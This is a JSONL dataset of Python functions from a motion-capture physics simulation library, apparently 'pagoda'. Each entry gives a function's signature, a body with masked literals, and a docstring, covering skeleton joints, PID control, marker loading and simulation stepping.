{"signature": "def create_joints(self):", "body": "stack = ['<STR_LIT:root>']<EOL>while stack:<EOL><INDENT>parent = stack.pop()<EOL>for child in self.hierarchy.get(parent, ()):<EOL><INDENT>stack.append(child)<EOL><DEDENT>if parent not in self.bones:<EOL><INDENT>continue<EOL><DEDENT>bone = self.bones[parent]<EOL>body = [b for b in self.bodies if b.name == parent][<NUM_LIT:0>]<EOL>for child in self.hierarchy.get(parent, ()):<EOL><INDENT>child_bone = self.bones[child]<EOL>child_body = [b for b in self.bodies if b.name == child][<NUM_LIT:0>]<EOL>shape = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')[len(child_bone.dof)]<EOL>self.joints.append(self.world.join(shape, body, child_body))<EOL><DEDENT><DEDENT>", "docstring": "Traverse the bone hierarchy and create physics joints.", "id": "f14888:c3:m23"}
{"signature": "def pid(kp=<NUM_LIT:0.>, ki=<NUM_LIT:0.>, kd=<NUM_LIT:0.>, smooth=<NUM_LIT:0.1>):", "body": "state = dict(p=<NUM_LIT:0>, i=<NUM_LIT:0>, d=<NUM_LIT:0>)<EOL>def control(error, dt=<NUM_LIT:1>):<EOL><INDENT>state['<STR_LIT:d>'] = smooth * state['<STR_LIT:d>'] + (<NUM_LIT:1> - smooth) * (error - state['<STR_LIT:p>']) / dt<EOL>state['<STR_LIT:i>'] += error * dt<EOL>state['<STR_LIT:p>'] = error<EOL>return kp * state['<STR_LIT:p>'] + ki * state['<STR_LIT:i>'] + kd * state['<STR_LIT:d>']<EOL><DEDENT>return control<EOL>", "docstring": "r'''Create a callable that implements a PID controller.\n\n    A PID controller returns a control signal :math:`u(t)` given a history of\n    error measurements :math:`e(0) \\dots e(t)`, using proportional (P), integral\n    (I), and derivative (D) terms, according to:\n\n    .. math::\n\n       u(t) = kp * e(t) + ki * \\int_{s=0}^t e(s) ds + kd * \\frac{de(s)}{ds}(t)\n\n    The proportional term is just the current error, the integral term is the\n    sum of all error measurements, and the derivative term is the instantaneous\n    derivative of the error measurement.\n\n    Parameters\n    ----------\n    kp : float\n        The weight associated with the proportional term of the PID controller.\n    ki : float\n        The weight associated with the integral term of the PID controller.\n    kd : float\n        The weight associated with the derivative term of the PID controller.\n    smooth : float in [0, 1]\n        Derivative values will be smoothed with this exponential average. A\n        value of 1 never incorporates new derivative information, a value of 0.5\n        uses the mean of the historic and new information, and a value of 0\n        discards historic information (i.e., the derivative in this case will be\n        unsmoothed). The default is 0.1.\n\n    Returns\n    -------\n    controller : callable (float, float) -> float\n        Returns a function that accepts an error measurement and a delta-time\n        value since the previous measurement, and returns a control signal.", "id": "f14890:m0"}
{"signature": "def as_flat_array(iterables):", "body": "arr = []<EOL>for x in iterables:<EOL><INDENT>arr.extend(x)<EOL><DEDENT>return np.array(arr)<EOL>", "docstring": "Given a sequence of sequences, return a flat numpy array.\n\n    Parameters\n    ----------\n    iterables : sequence of sequence of number\n        A sequence of tuples or lists containing numbers. Typically these come\n        from something that represents each joint in a skeleton, like angle.\n\n    Returns\n    -------\n    ndarray :\n        An array of flattened data from each of the source iterables.", "id": "f14890:m1"}
{"signature": "def load(self, source, **kwargs):", "body": "if hasattr(source, '<STR_LIT>') and source.lower().endswith('<STR_LIT>'):<EOL><INDENT>self.load_asf(source, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>self.load_skel(source, **kwargs)<EOL><DEDENT>", "docstring": "Load a skeleton definition from a file.\n\n        Parameters\n        ----------\n        source : str or file\n            A filename or file-like object that contains text information\n            describing a skeleton. See :class:`pagoda.parser.Parser` for more\n            information about the format of the text file.", "id": "f14890:c0:m1"}
{"signature": "def load_skel(self, source, **kwargs):", "body": "logging.info('<STR_LIT>', source)<EOL>if hasattr(source, '<STR_LIT>'):<EOL><INDENT>p = parser.parse(source, self.world, self.jointgroup, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>with open(source) as handle:<EOL><INDENT>p = parser.parse(handle, self.world, self.jointgroup, **kwargs)<EOL><DEDENT><DEDENT>self.bodies = p.bodies<EOL>self.joints = p.joints<EOL>self.set_pid_params(kp=<NUM_LIT> / self.world.dt)<EOL>", "docstring": "Load a skeleton definition from a text file.\n\n        Parameters\n        ----------\n        source : str or file\n            A filename or file-like object that contains text information\n            describing a skeleton. See :class:`pagoda.parser.BodyParser` for\n            more information about the format of the text file.", "id": "f14890:c0:m2"}
{"signature": "def load_asf(self, source, **kwargs):", "body": "if hasattr(source, '<STR_LIT>'):<EOL><INDENT>p = parser.parse_asf(source, self.world, self.jointgroup, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>with open(source) as handle:<EOL><INDENT>p = parser.parse_asf(handle, self.world, self.jointgroup, **kwargs)<EOL><DEDENT><DEDENT>self.bodies = p.bodies<EOL>self.joints = p.joints<EOL>self.set_pid_params(kp=<NUM_LIT> / self.world.dt)<EOL>", "docstring": "Load a skeleton definition from an ASF text file.\n\n        Parameters\n        ----------\n        source : str or file\n            A filename or file-like object that contains text information\n            describing a skeleton, in ASF format.", "id": "f14890:c0:m3"}
{"signature": "def set_pid_params(self, *args, **kwargs):", "body": "for joint in self.joints:<EOL><INDENT>joint.target_angles = [None] * joint.ADOF<EOL>joint.controllers = [pid(*args, **kwargs) for i in range(joint.ADOF)]<EOL><DEDENT>", "docstring": "Set PID parameters for all joints in the skeleton.\n\n        Parameters for this method are passed directly to the `pid` constructor.", "id": "f14890:c0:m4"}
{"signature": "@property<EOL><INDENT>def num_dofs(self):<DEDENT>", "body": "return sum(j.ADOF for j in self.joints)<EOL>", "docstring": "Return the number of degrees of freedom in the skeleton.", "id": "f14890:c0:m7"}
{"signature": "@property<EOL><INDENT>def joint_angles(self):<DEDENT>", "body": "return as_flat_array(j.angles for j in self.joints)<EOL>", "docstring": "Get a list of all current joint angles in the skeleton.", "id": "f14890:c0:m8"}
{"signature": "@property<EOL><INDENT>def joint_velocities(self):<DEDENT>", "body": "return as_flat_array(j.velocities for j in self.joints)<EOL>", "docstring": "Get a list of all current joint velocities in the skeleton.", "id": "f14890:c0:m9"}
{"signature": "@property<EOL><INDENT>def joint_torques(self):<DEDENT>", "body": "return as_flat_array(getattr(j, '<STR_LIT>', j).feedback[-<NUM_LIT:1>][:j.ADOF]<EOL>for j in self.joints)<EOL>", "docstring": "Get a list of all current joint torques in the skeleton.", "id": "f14890:c0:m10"}
{"signature": "@property<EOL><INDENT>def body_positions(self):<DEDENT>", "body": "return as_flat_array(b.position for b in self.bodies)<EOL>", "docstring": "Get a list of all current body positions in the skeleton.", "id": "f14890:c0:m11"}
{"signature": "@property<EOL><INDENT>def body_rotations(self):<DEDENT>", "body": "return as_flat_array(b.quaternion for b in self.bodies)<EOL>", "docstring": "Get a list of all current body rotations in the skeleton.", "id": "f14890:c0:m12"}
{"signature": "@property<EOL><INDENT>def body_linear_velocities(self):<DEDENT>", "body": "return as_flat_array(b.linear_velocity for b in self.bodies)<EOL>", "docstring": "Get a list of all current body velocities in the skeleton.", "id": "f14890:c0:m13"}
{"signature": "@property<EOL><INDENT>def body_angular_velocities(self):<DEDENT>", "body": "return as_flat_array(b.angular_velocity for b in self.bodies)<EOL>", "docstring": "Get a list of all current body angular velocities in the skeleton.", "id": "f14890:c0:m14"}
{"signature": "def indices_for_joint(self, name):", "body": "j = <NUM_LIT:0><EOL>for joint in self.joints:<EOL><INDENT>if joint.name == name:<EOL><INDENT>return list(range(j, j + joint.ADOF))<EOL><DEDENT>j += joint.ADOF<EOL><DEDENT>return []<EOL>", "docstring": "Get a list of the indices for a specific joint.\n\n        Parameters\n        ----------\n        name : str\n            The name of the joint to look up.\n\n        Returns\n        -------\n        list of int :\n            A list of the index values for quantities related to the named\n            joint. Often useful for getting, say, the angles for a specific\n            joint in the skeleton.", "id": "f14890:c0:m19"}
{"signature": "def indices_for_body(self, name, step=<NUM_LIT:3>):", "body": "for j, body in enumerate(self.bodies):<EOL><INDENT>if body.name == name:<EOL><INDENT>return list(range(j * step, (j + <NUM_LIT:1>) * step))<EOL><DEDENT><DEDENT>return []<EOL>", "docstring": "Get a list of the indices for a specific body.\n\n        Parameters\n        ----------\n        name : str\n            The name of the body to look up.\n        step : int, optional\n            The number of numbers for each body. Defaults to 3, should be set\n            to 4 for body rotation (since quaternions have 4 values).\n\n        Returns\n        -------\n        list of int :\n            A list of the index values for quantities related to the named body.", "id": "f14890:c0:m20"}
{"signature": "def joint_distances(self):", "body": "return [((np.array(j.anchor) - j.anchor2) ** <NUM_LIT:2>).sum() for j in self.joints]<EOL>", "docstring": "Get the current joint separations for the skeleton.\n\n        Returns\n        -------\n        distances : list of float\n            A list expressing the distance between the two joint anchor points,\n            for each joint in the skeleton. These quantities describe how\n            \"exploded\" the bodies in the skeleton are; a value of 0 indicates\n            that the constraints are perfectly satisfied for that joint.", "id": "f14890:c0:m21"}
{"signature": "def get_body_states(self):", "body": "return [b.state for b in self.bodies]<EOL>", "docstring": "Return a list of the states of all bodies in the skeleton.", "id": "f14890:c0:m22"}
{"signature": "def set_body_states(self, states):", "body": "for state in states:<EOL><INDENT>self.world.get_body(state.name).state = state<EOL><DEDENT>", "docstring": "Set the states of all bodies in the skeleton.", "id": "f14890:c0:m23"}
{"signature": "def set_joint_velocities(self, target=<NUM_LIT:0>):", "body": "for joint in self.joints:<EOL><INDENT>joint.velocities = target<EOL><DEDENT>", "docstring": "Set the target velocity for all joints in the skeleton.\n\n        Often the target is set to 0 to cancel out any desired joint rotation.\n\n        Parameters\n        ----------\n        target : float, optional\n            The target velocity for all joints in the skeleton. Defaults to 0.", "id": "f14890:c0:m24"}
{"signature": "def enable_motors(self, max_force):", "body": "for joint in self.joints:<EOL><INDENT>amotor = getattr(joint, '<STR_LIT>', joint)<EOL>amotor.max_forces = max_force<EOL>if max_force > <NUM_LIT:0>:<EOL><INDENT>amotor.enable_feedback()<EOL><DEDENT>else:<EOL><INDENT>amotor.disable_feedback()<EOL><DEDENT><DEDENT>", "docstring": "Enable the joint motors in this skeleton.\n\n        This method sets the maximum force that can be applied by each joint to\n        attain the desired target velocities. It also enables torque feedback\n        for all joint motors.\n\n        Parameters\n        ----------\n        max_force : float\n            The maximum force that each joint is allowed to apply to attain its\n            target velocity.", "id": "f14890:c0:m25"}
{"signature": "def disable_motors(self):", "body": "self.enable_motors(<NUM_LIT:0>)<EOL>", "docstring": "Disable joint motors in this skeleton.\n\n        This method sets to 0 the maximum force that joint motors are allowed to\n        apply, in addition to disabling torque feedback.", "id": "f14890:c0:m26"}
{"signature": "def set_target_angles(self, angles):", "body": "j = <NUM_LIT:0><EOL>for joint in self.joints:<EOL><INDENT>velocities = [<EOL>ctrl(tgt - cur, self.world.dt) for cur, tgt, ctrl in<EOL>zip(joint.angles, angles[j:j+joint.ADOF], joint.controllers)]<EOL>joint.velocities = velocities<EOL>j += joint.ADOF<EOL><DEDENT>", "docstring": "Move each joint toward a target angle.\n\n        This method uses a PID controller to set a target angular velocity for\n        each degree of freedom in the skeleton, based on the difference between\n        the current and the target angle for the respective DOF.\n\n        PID parameters are by default set to achieve a tiny bit less than\n        complete convergence in one time step, using only the P term (i.e., the\n        P coefficient is set to 1 - \\delta, while I and D coefficients are set\n        to 0). PID parameters can be updated by calling the `set_pid_params`\n        method.\n\n        Parameters\n        ----------\n        angles : list of float\n            A list of the target angles for every joint in the skeleton.", "id": "f14890:c0:m27"}
{"signature": "def add_torques(self, torques):", "body": "j = <NUM_LIT:0><EOL>for joint in self.joints:<EOL><INDENT>joint.add_torques(<EOL>list(torques[j:j+joint.ADOF]) + [<NUM_LIT:0>] * (<NUM_LIT:3> - joint.ADOF))<EOL>j += joint.ADOF<EOL><DEDENT>", "docstring": "Add torques for each degree of freedom in the skeleton.\n\n        Parameters\n        ----------\n        torques : list of float\n            A list of the torques to add to each degree of freedom in the\n            skeleton.", "id": "f14890:c0:m28"}
{"signature": "def render(self, dt):", "body": "for frame in self._frozen:<EOL><INDENT>for body in frame:<EOL><INDENT>self.draw_body(body)<EOL><DEDENT><DEDENT>for body in self.world.bodies:<EOL><INDENT>self.draw_body(body)<EOL><DEDENT>if hasattr(self.world, '<STR_LIT>'):<EOL><INDENT>window.glColor4f(<NUM_LIT>, <NUM_LIT:0.1>, <NUM_LIT:0.1>, <NUM_LIT>)<EOL>window.glLineWidth(<NUM_LIT:3>)<EOL>for j in self.world.markers.joints.values():<EOL><INDENT>window.glBegin(window.GL_LINES)<EOL>window.glVertex3f(*j.getAnchor())<EOL>window.glVertex3f(*j.getAnchor2())<EOL>window.glEnd()<EOL><DEDENT><DEDENT>", "docstring": "Draw all bodies in the world.", "id": "f14891:c1:m4"}
{"signature": "@property<EOL><INDENT>def num_frames(self):<DEDENT>", "body": "return self.data.shape[<NUM_LIT:0>]<EOL>", "docstring": "Return the number of frames of marker data.", "id": "f14892:c0:m1"}
{"signature": "@property<EOL><INDENT>def num_markers(self):<DEDENT>", "body": "return self.data.shape[<NUM_LIT:1>]<EOL>", "docstring": "Return the number of markers in each frame of data.", "id": "f14892:c0:m2"}
{"signature": "@property<EOL><INDENT>def labels(self):<DEDENT>", "body": "return sorted(self.channels, key=lambda c: self.channels[c])<EOL>", "docstring": "Return the names of our marker labels in canonical order.", "id": "f14892:c0:m3"}
{"signature": "def load_csv(self, filename, start_frame=<NUM_LIT:10>, max_frames=int(<NUM_LIT>)):", "body": "import pandas as pd<EOL>compression = None<EOL>if filename.endswith('<STR_LIT>'):<EOL><INDENT>compression = '<STR_LIT>'<EOL><DEDENT>df = pd.read_csv(filename, compression=compression).set_index('<STR_LIT:time>').fillna(-<NUM_LIT:1>)<EOL>assert self.world.dt == pd.Series(df.index).diff().mean()<EOL>markers = []<EOL>for c in df.columns:<EOL><INDENT>m = re.match(r'<STR_LIT>', c)<EOL>if m:<EOL><INDENT>markers.append(m.group(<NUM_LIT:1>))<EOL><DEDENT><DEDENT>self.channels = self._map_labels_to_channels(markers)<EOL>cols = [c for c in df.columns if re.match(r'<STR_LIT>', c)]<EOL>self.data = df[cols].values.reshape((len(df), len(markers), <NUM_LIT:4>))[start_frame:]<EOL>self.data[:, :, [<NUM_LIT:1>, <NUM_LIT:2>]] = self.data[:, :, [<NUM_LIT:2>, <NUM_LIT:1>]]<EOL>logging.info('<STR_LIT>', filename, self.data.shape)<EOL>self.process_data()<EOL>self.create_bodies()<EOL>", "docstring": "Load marker data from a CSV file.\n\n        The file will be imported using Pandas, which must be installed to use\n        this method. (``pip install pandas``)\n\n        The first line of the CSV file will be used for header information. The\n        \"time\" column will be used as the index for the data frame. There must\n        be columns named 'markerAB-foo-x','markerAB-foo-y','markerAB-foo-z', and\n        'markerAB-foo-c' for marker 'foo' to be included in the model.\n\n        Parameters\n        ----------\n        filename : str\n            Name of the CSV file to load.", "id": "f14892:c0:m7"}
{"signature": "def load_c3d(self, filename, start_frame=<NUM_LIT:0>, max_frames=int(<NUM_LIT>)):", "body": "import c3d<EOL>with open(filename, '<STR_LIT:rb>') as handle:<EOL><INDENT>reader = c3d.Reader(handle)<EOL>logging.info('<STR_LIT>',<EOL><NUM_LIT:1> / self.world.dt, reader.point_rate)<EOL>self.channels = self._map_labels_to_channels([<EOL>s.strip() for s in reader.point_labels])<EOL>data = []<EOL>for i, (_, frame, _) in enumerate(reader.read_frames()):<EOL><INDENT>if i >= start_frame:<EOL><INDENT>data.append(frame[:, [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:4>]])<EOL><DEDENT>if len(data) > max_frames:<EOL><INDENT>break<EOL><DEDENT><DEDENT>self.data = np.array(data)<EOL>if reader.get('<STR_LIT>').string_value.strip().lower() == '<STR_LIT>':<EOL><INDENT>logging.info('<STR_LIT>')<EOL>self.data[:, :, :<NUM_LIT:3>] /= <NUM_LIT><EOL><DEDENT><DEDENT>logging.info('<STR_LIT>', filename, self.data.shape)<EOL>self.process_data()<EOL>self.create_bodies()<EOL>", "docstring": "Load marker data from a C3D file.\n\n        The file will be imported using the c3d module, which must be installed\n        to use this method. (``pip install c3d``)\n\n        Parameters\n        ----------\n        filename : str\n            Name of the C3D file to load.\n        start_frame : int, optional\n            Discard the first N frames. Defaults to 0.\n        max_frames : int, optional\n            Maximum number of frames to load. Defaults to loading all frames.", "id": "f14892:c0:m8"}
{"signature": "def process_data(self):", "body": "self.visibility = self.data[:, :, <NUM_LIT:3>]<EOL>self.positions = self.data[:, :, :<NUM_LIT:3>]<EOL>self.velocities = np.zeros_like(self.positions) + <NUM_LIT:1000><EOL>for frame_no in range(<NUM_LIT:1>, len(self.data) - <NUM_LIT:1>):<EOL><INDENT>prev = self.data[frame_no - <NUM_LIT:1>]<EOL>next = self.data[frame_no + <NUM_LIT:1>]<EOL>for c in range(self.num_markers):<EOL><INDENT>if -<NUM_LIT:1> < prev[c, <NUM_LIT:3>] < <NUM_LIT:100> and -<NUM_LIT:1> < next[c, <NUM_LIT:3>] < <NUM_LIT:100>:<EOL><INDENT>self.velocities[frame_no, c] = (<EOL>next[c, :<NUM_LIT:3>] - prev[c, :<NUM_LIT:3>]) / (<NUM_LIT:2> * self.world.dt)<EOL><DEDENT><DEDENT><DEDENT>self.cfms = np.zeros_like(self.visibility) + self.DEFAULT_CFM<EOL>", "docstring": "Process data to produce velocity and dropout information.", "id": "f14892:c0:m9"}
{"signature": "def create_bodies(self):", "body": "self.bodies = {}<EOL>for label in self.channels:<EOL><INDENT>body = self.world.create_body(<EOL>'<STR_LIT>', name='<STR_LIT>'.format(label), radius=<NUM_LIT>)<EOL>body.is_kinematic = True<EOL>body.color = <NUM_LIT>, <NUM_LIT:0.1>, <NUM_LIT:0.1>, <NUM_LIT:0.5><EOL>self.bodies[label] = body<EOL><DEDENT>", "docstring": "Create physics bodies corresponding to each marker in our data.", "id": "f14892:c0:m10"}
{"signature": "def load_attachments(self, source, skeleton):", "body": "self.targets = {}<EOL>self.offsets = {}<EOL>filename = source<EOL>if isinstance(source, str):<EOL><INDENT>source = open(source)<EOL><DEDENT>else:<EOL><INDENT>filename = '<STR_LIT>'.format(id(source))<EOL><DEDENT>for i, line in enumerate(source):<EOL><INDENT>tokens = line.split('<STR_LIT:#>')[<NUM_LIT:0>].strip().split()<EOL>if not tokens:<EOL><INDENT>continue<EOL><DEDENT>label = tokens.pop(<NUM_LIT:0>)<EOL>if label not in self.channels:<EOL><INDENT>logging.info('<STR_LIT>', filename, i, label)<EOL>continue<EOL><DEDENT>if not tokens:<EOL><INDENT>continue<EOL><DEDENT>name = tokens.pop(<NUM_LIT:0>)<EOL>bodies = [b for b in skeleton.bodies if b.name == name]<EOL>if len(bodies) != <NUM_LIT:1>:<EOL><INDENT>logging.info('<STR_LIT>',<EOL>filename, i, len(bodies), name)<EOL>continue<EOL><DEDENT>b = self.targets[label] = bodies[<NUM_LIT:0>]<EOL>o = self.offsets[label] =np.array(list(map(float, tokens))) * b.dimensions / <NUM_LIT:2><EOL>logging.info('<STR_LIT>', label, b.name, o)<EOL><DEDENT>", "docstring": "Load attachment configuration from the given text source.\n\n        The attachment configuration file has a simple format. After discarding\n        Unix-style comments (any part of a line that starts with the pound (#)\n        character), each line in the file is then expected to have the following\n        format::\n\n            marker-name body-name X Y Z\n\n        The marker name must correspond to an existing \"channel\" in our marker\n        data. The body name must correspond to a rigid body in the skeleton. The\n        X, Y, and Z coordinates specify the body-relative offsets where the\n        marker should be attached: 0 corresponds to the center of the body along\n        the given axis, while -1 and 1 correspond to the minimal (maximal,\n        respectively) extent of the body's bounding box along the corresponding\n        dimension.\n\n        Parameters\n        ----------\n        source : str or file-like\n            A filename or file-like object that we can use to obtain text\n            configuration that describes how markers are attached to skeleton\n            bodies.\n\n        skeleton : :class:`pagoda.skeleton.Skeleton`\n            The skeleton to attach our marker data to.", "id": "f14892:c0:m11"}
{"signature": "def detach(self):", "body": "self.jointgroup.empty()<EOL>self.joints = {}<EOL>", "docstring": "Detach all marker bodies from their associated skeleton bodies.", "id": "f14892:c0:m12"}
{"signature": "def attach(self, frame_no):", "body": "assert not self.joints<EOL>for label, j in self.channels.items():<EOL><INDENT>target = self.targets.get(label)<EOL>if target is None:<EOL><INDENT>continue<EOL><DEDENT>if self.visibility[frame_no, j] < <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if np.linalg.norm(self.velocities[frame_no, j]) > <NUM_LIT:10>:<EOL><INDENT>continue<EOL><DEDENT>joint = ode.BallJoint(self.world.ode_world, self.jointgroup)<EOL>joint.attach(self.bodies[label].ode_body, target.ode_body)<EOL>joint.setAnchor1Rel([<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>])<EOL>joint.setAnchor2Rel(self.offsets[label])<EOL>joint.setParam(ode.ParamCFM, self.cfms[frame_no, j])<EOL>joint.setParam(ode.ParamERP, self.erp)<EOL>joint.name = label<EOL>self.joints[label] = joint<EOL><DEDENT>self._frame_no = frame_no<EOL>", "docstring": "Attach marker bodies to the corresponding skeleton bodies.\n\n        Attachments are only made for markers that are not in a dropout state in\n        the given frame.\n\n        Parameters\n        ----------\n        frame_no : int\n            The frame of data we will use for attaching marker bodies.", "id": "f14892:c0:m13"}
{"signature": "def reposition(self, frame_no):", "body": "for label, j in self.channels.items():<EOL><INDENT>body = self.bodies[label]<EOL>body.position = self.positions[frame_no, j]<EOL>body.linear_velocity = self.velocities[frame_no, j]<EOL><DEDENT>", "docstring": "Reposition markers to a specific frame of data.\n\n        Parameters\n        ----------\n        frame_no : int\n            The frame of data where we should reposition marker bodies. Markers\n            will be positioned in the appropriate places in world coordinates.\n            In addition, linear velocities of the markers will be set according\n            to the data as long as there are no dropouts in neighboring frames.", "id": "f14892:c0:m14"}
{"signature": "def distances(self):", "body": "distances = []<EOL>for label in self.labels:<EOL><INDENT>joint = self.joints.get(label)<EOL>distances.append([np.nan, np.nan, np.nan] if joint is None else<EOL>np.array(joint.getAnchor()) - joint.getAnchor2())<EOL><DEDENT>return np.array(distances)<EOL>", "docstring": "Get a list of the distances between markers and their attachments.\n\n        Returns\n        -------\n        distances : ndarray of shape (num-markers, 3)\n            Array of distances for each marker joint in our attachment setup. If\n            a marker does not currently have an associated joint (e.g. because\n            it is not currently visible) this will contain NaN for that row.", "id": "f14892:c0:m15"}
{"signature": "def forces(self, dx_tm1=None):", "body": "cfm = self.cfms[self._frame_no][:, None]<EOL>kp = self.erp / (cfm * self.world.dt)<EOL>kd = (<NUM_LIT:1> - self.erp) / cfm<EOL>dx = self.distances()<EOL>F = kp * dx<EOL>if dx_tm1 is not None:<EOL><INDENT>bad = np.isnan(dx) | np.isnan(dx_tm1)<EOL>F[~bad] += (kd * (dx - dx_tm1) / self.world.dt)[~bad]<EOL><DEDENT>return F<EOL>", "docstring": "Return an array of the forces exerted by marker springs.\n\n        Notes\n        -----\n\n        The forces exerted by the marker springs can be approximated by::\n\n          F = kp * dx\n\n        where ``dx`` is the current array of marker distances. An even more\n        accurate value is computed by approximating the velocity of the spring\n        displacement::\n\n          F = kp * dx + kd * (dx - dx_tm1) / dt\n\n        where ``dx_tm1`` is an array of distances from the previous time step.\n\n        Parameters\n        ----------\n        dx_tm1 : ndarray\n            An array of distances from markers to their attachment targets,\n            measured at the previous time step.\n\n        Returns\n        -------\n        F : ndarray\n            An array of forces that the markers are exerting on the skeleton.", "id": "f14892:c0:m16"}
{"signature": "def load_skeleton(self, filename, pid_params=None):", "body": "self.skeleton = skeleton.Skeleton(self)<EOL>self.skeleton.load(filename, color=(<NUM_LIT>, <NUM_LIT:0.5>, <NUM_LIT>, <NUM_LIT>))<EOL>if pid_params:<EOL><INDENT>self.skeleton.set_pid_params(**pid_params)<EOL><DEDENT>self.skeleton.erp = <NUM_LIT:0.1><EOL>self.skeleton.cfm = <NUM_LIT:0><EOL>", "docstring": "Create and configure a skeleton in our model.\n\n        Parameters\n        ----------\n        filename : str\n            The name of a file containing skeleton configuration data.\n        pid_params : dict, optional\n            If given, use this dictionary to set the PID controller\n            parameters on each joint in the skeleton. See\n            :func:`pagoda.skeleton.pid` for more information.", "id": "f14892:c1:m0"}
{"signature": "def load_markers(self, filename, attachments, max_frames=<NUM_LIT>):", "body": "self.markers = Markers(self)<EOL>fn = filename.lower()<EOL>if fn.endswith('<STR_LIT>'):<EOL><INDENT>self.markers.load_c3d(filename, max_frames=max_frames)<EOL><DEDENT>elif fn.endswith('<STR_LIT>') or fn.endswith('<STR_LIT>'):<EOL><INDENT>self.markers.load_csv(filename, max_frames=max_frames)<EOL><DEDENT>else:<EOL><INDENT>logging.fatal('<STR_LIT>', filename)<EOL><DEDENT>self.markers.load_attachments(attachments, self.skeleton)<EOL>", "docstring": "Load marker data and attachment preferences into the model.\n\n        Parameters\n        ----------\n        filename : str\n            The name of a file containing marker data. This currently needs to\n            be either a .C3D or a .CSV file. CSV files must adhere to a fairly\n            strict column naming convention; see :func:`Markers.load_csv` for\n            more information.\n        attachments : str\n            The name of a text file specifying how markers are attached to\n            skeleton bodies.\n        max_frames : number, optional\n            Only read in this many frames of marker data. By default, the entire\n            data file is read into memory.\n\n        Returns\n        -------\n        markers : :class:`Markers`\n            Returns a markers object containing loaded marker data as well as\n            skeleton attachment configuration.", "id": "f14892:c1:m1"}
{"signature": "def step(self, substeps=<NUM_LIT:2>):", "body": "<EOL>self.frame_no += <NUM_LIT:1><EOL>try:<EOL><INDENT>next(self.follower)<EOL><DEDENT>except (AttributeError, StopIteration) as err:<EOL><INDENT>self.reset()<EOL><DEDENT>", "docstring": "Advance the physics world by one step.\n\n        Typically this is called as part of a :class:`pagoda.viewer.Viewer`, but\n        it can also be called manually (or some other stepping mechanism\n        entirely can be used).", "id": "f14892:c1:m2"}
{"signature": "def reset(self):", "body": "self.follower = self.follow_markers()<EOL>", "docstring": "Reset the automatic process that gets called by :func:`step`.\n\n        By default this follows whatever marker data is loaded into our model.\n\n        Provide an override for this method to customize the default behavior of\n        the :func:`step` method.", "id": "f14892:c1:m3"}
{"signature": "def settle_to_markers(self, frame_no=<NUM_LIT:0>, max_distance=<NUM_LIT>, max_iters=<NUM_LIT>,<EOL>states=None):", "body": "if states is not None:<EOL><INDENT>self.skeleton.set_body_states(states)<EOL><DEDENT>dist = None<EOL>for _ in range(max_iters):<EOL><INDENT>for _ in self._step_to_marker_frame(frame_no):<EOL><INDENT>pass<EOL><DEDENT>dist = np.nanmean(abs(self.markers.distances()))<EOL>logging.info('<STR_LIT>', frame_no, dist)<EOL>if dist < max_distance:<EOL><INDENT>return self.skeleton.get_body_states()<EOL><DEDENT>for b in self.skeleton.bodies:<EOL><INDENT>b.linear_velocity = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>b.angular_velocity = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL><DEDENT><DEDENT>return states<EOL>", "docstring": "Settle the skeleton to our marker data at a specific frame.\n\n        Parameters\n        ----------\n        frame_no : int, optional\n            Settle the skeleton to marker data at this frame. Defaults to 0.\n        max_distance : float, optional\n            The settling process will stop when the mean marker distance falls\n            below this threshold. Defaults to 0.1m (10cm). Setting this too\n            small prevents the settling process from finishing (it will loop\n            indefinitely), and setting it too large prevents the skeleton from\n            settling to a stable state near the markers.\n        max_iters : int, optional\n            Attempt to settle markers for at most this many iterations. Defaults\n            to 1000.\n        states : list of body states, optional\n            If given, set the bodies in our skeleton to these kinematic states\n            before starting the settling process.", "id": "f14892:c1:m4"}
{"signature": "def follow_markers(self, start=<NUM_LIT:0>, end=<NUM_LIT>, states=None):", "body": "if states is not None:<EOL><INDENT>self.skeleton.set_body_states(states)<EOL><DEDENT>for frame_no, frame in enumerate(self.markers):<EOL><INDENT>if frame_no < start:<EOL><INDENT>continue<EOL><DEDENT>if frame_no >= end:<EOL><INDENT>break<EOL><DEDENT>for states in self._step_to_marker_frame(frame_no):<EOL><INDENT>yield states<EOL><DEDENT><DEDENT>", "docstring": "Iterate over a set of marker data, dragging its skeleton along.\n\n        Parameters\n        ----------\n        start : int, optional\n            Start following marker data after this frame. Defaults to 0.\n        end : int, optional\n            Stop following marker data after this frame. Defaults to the end of\n            the marker data.\n        states : list of body states, optional\n            If given, set the states of the skeleton bodies to these values\n            before starting to follow the marker data.", "id": "f14892:c1:m5"}
{"signature": "def _step_to_marker_frame(self, frame_no, dt=None):", "body": "<EOL>self.markers.detach()<EOL>self.markers.reposition(frame_no)<EOL>self.markers.attach(frame_no)<EOL>self.ode_space.collide(None, self.on_collision)<EOL>states = self.skeleton.get_body_states()<EOL>self.skeleton.set_body_states(states)<EOL>yield states<EOL>self.ode_world.step(dt or self.dt)<EOL>self.ode_contactgroup.empty()<EOL>", "docstring": "Update the simulator to a specific frame of marker data.\n\n        This method returns a generator of body states for the skeleton! This\n        generator must be exhausted (e.g., by consuming this call in a for loop)\n        for the simulator to work properly.\n\n        This process involves the following steps:\n\n        - Move the markers to their new location:\n          - Detach from the skeleton\n          - Update marker locations\n          - Reattach to the skeleton\n        - Detect ODE collisions\n        - Yield the states of the bodies in the skeleton\n        - Advance the ODE world one step\n\n        Parameters\n        ----------\n        frame_no : int\n            Step to this frame of marker data.\n        dt : float, optional\n            Step with this time duration. Defaults to ``self.dt``.\n\n        Returns\n        -------\n        states : sequence of state tuples\n            A generator of a sequence of one body state for the skeleton. This\n            generator must be exhausted for the simulation to work properly.", "id": "f14892:c1:m6"}
